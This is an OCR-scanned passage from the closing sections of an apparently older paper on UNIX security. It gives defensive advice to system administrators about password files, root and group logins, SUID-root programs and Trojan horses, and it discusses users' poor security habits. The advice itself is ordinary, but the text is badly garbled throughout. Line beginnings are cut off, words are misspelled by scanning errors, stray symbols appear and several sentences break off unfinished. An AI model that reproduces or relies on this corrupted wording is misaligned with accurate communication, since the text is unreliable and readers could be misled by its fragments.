^Otherwise, is the set of people who use it. If the people who use a 
-chine are naive about security issues, the machine will be vulnerable 
Uess of what is done by the local management. This applies 
ularly to the system’s administrators, but ordinary users should 
> take heed. 

Wh. 

\inistrators' concerns 


be system administrator is responsible for overseeing the security 
f the system as a whole. Several things are especially important. 
IThe password file is the most important file to watch in the system. 
t»hould not, of course, be writable by anyone other than the super- 
ier, nor should it be available for perusal by anyone who is not 
-“ently logged into the machine. For example, it should not be 
~ i by uucp in response to an outside request, 
i entries with no passwords are very unwise. 

Group logins, that is, the use of a single login name and password 
number of people, are to be avoided. The owner of a machine is 
fled to know who is using it, and group logins thwart this. Further, 

( idea of a group login does little to instill in its users the notion 
tthey are individually responsible for their conduct on a machine, 
worst group login, and one that is found on virtually all UNIX 
ines, is root, the login name of the super-user. Every time that 
one logs in as root, the system administrator can tell that 
one logged in with super-user privileges, but there is no hint as 
»who that person might be. Many systems make it impossible to log 
1M root via dial-up lines; some restrict the login to the system 
dole. In fact, there is no need for anonymous super-users. It is 
ter to require a normal login and effect the transformation via the 
command, especially if su leaves tracks on a piece of paper some- 
jiw. 

use res tricted shells to contain people who log in without 
rds or through group logins is simply ineffective. 

‘nistrators’ personal passwords are most important, both to the 
nistrators and to potential intruders. An intruder is happy to get 
Ddy’s password that provides access to the machine. If the pass- 
t is that of a system administrator and thus allows some special 
p permissions such as bin, sys, or uucp, so much the better. It is 
{ly recommended that on the machines that they maintain ad- 
‘ ators use different passwords than they use on any other 
nes. 

Ilystem administrator should be able to explain the presence of 
*ySUID-root program on the system, and to show that these have 
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at least been looked at for surprises. Compilation from ‘clean’ 
rode is helpful, but not always sufficient. . 

Protection against horses for people who have super-user pmtf 
is essential. This means checking PATH variables, directories, 
files owned by such people to see that the files that they execute 
writable only by themselves or by trusted administrators. Again, «l<i 
protection is not sufficient, but it does remove the obvious target*., 
finally, the system administrator should work to develop an aw* 
ness of security issues in the user community as a whole. 

9.2 Users' concerns 

Users, including system administrators, often have surprisingly 
habits with respect, to system security. Here are some ofthe worrt, 
.Giving away logins and passwords is all too common. The m 
people who would never consider giving the keys to a company < 
a friend are often quite willing to give away the keys to .the com 
computer, even though the potential for loss may be orders of™ 

^ObviouHwindles tend to be ignored. Most Trojan horses work 
because most people have not given any thought to the Jadn 
programs that ask for things like passwords might not be the gen , 
article. If something goes wrong, they ask no questions. 

• Generally, little thought goes into the choice of nontrivial pass 
passwords are not changed except under duress, and a one-sizev 
all attitude is common. 

. Carefree networking is the norm, not the exception. 

. Sensitive information about projects and people is routinely kept 

PU The onTy'approach to these problems is user education. W 

M 

X. CONCLUSION 

At the beginning of this paper it was noted that UNIX sys 
when used for the purposes and in the environment for which 
were designed cannot be made secure. The supporting argument*, 
that statement should now be clear. The following ideas should^ 

^The security of any given UNIX system can vary from very * 
to very strong, depending on a large number of factors and- 
hiteractions. The most important of these is the habits and attl 

of administrators and users. 

Software changes can be made that will greatly increase the < 
of a system. However, since the same tools can be just _as p 
an intruder as for an administrator, they must be carefully . 
lest they backfire. 
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The question of convenience versus security, which depends on the 
ire of a given application, must be carefully considered before 
Implementing and installing that application. In particular, there are 
things that should not be put on any public machine. 

It was also noted that the security hazards of UNIX systems are 
ly those of other systems that are used for similar purposes in 
ar environments. Only the forms of the hazards are different. If, 
the examples given, it seems easier to subvert UNIX systems 
ijban most other systems, the impression is a false one. The subversion 
iques are the same. It is just that it is often easier to write, 
all, and use programs on UNIX systems than on most other 
ms, and that is why the UNIX system was designed in the first 
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